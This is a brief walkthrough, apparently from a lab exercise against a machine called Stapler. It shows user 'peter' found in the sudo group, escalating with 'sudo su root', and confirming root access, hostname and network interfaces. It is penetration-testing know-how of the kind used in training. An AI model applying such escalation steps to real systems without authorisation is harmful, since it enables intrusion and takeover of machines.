Stapler_Privilege_Escalation_2

sudo group

---

red% id
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)

The peter user is part of the sudo group, essentially making the user root

red% sudo su root
➜  peter whoami
root
➜  peter hostname
red.initech
➜  peter ip a   
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:9e:7b:37 brd ff:ff:ff:ff:ff:ff
    inet 192.168.239.148/24 brd 192.168.239.255 scope global ens192
       valid_lft forever preferred_lft forever

System level compromise